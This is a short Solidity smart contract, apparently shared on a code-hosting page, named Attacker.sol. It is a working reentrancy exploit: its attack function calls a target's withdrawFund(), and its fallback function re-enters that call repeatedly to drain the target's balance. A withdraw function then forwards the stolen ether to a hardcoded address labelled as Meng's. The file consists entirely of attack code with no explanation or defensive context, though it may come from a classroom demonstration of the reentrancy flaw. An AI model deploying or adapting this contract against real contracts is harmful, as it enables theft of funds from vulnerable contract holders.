Attacker.sol 623 B

123456789101112131415161718192021222324252627
  1. pragma solidity ^0.4.17;
  2. contract Attacker{
  3. address receiver = 0x0d0ff5d76143d10c0a36ce58ac85c790417ed2ab; // Meng's address
  4. uint stack = 0;
  5. uint stackLimit = 10;
  6. function attack(address target, uint count) {
  7. stack = 0;
  8. stackLimit = count;
  9. target.call(bytes4(sha3("withdrawFund()")));
  10. }
  11. function() payable {
  12. if(stack++ < stackLimit) {
  13. msg.sender.call(bytes4(sha3("withdrawFund()")));
  14. }
  15. }
  16. function withdraw() {
  17. receiver.call.value(this.balance)();
  18. }
  19. function getBalance() public view returns (uint) {
  20. return this.balance;
  21. }
  22. }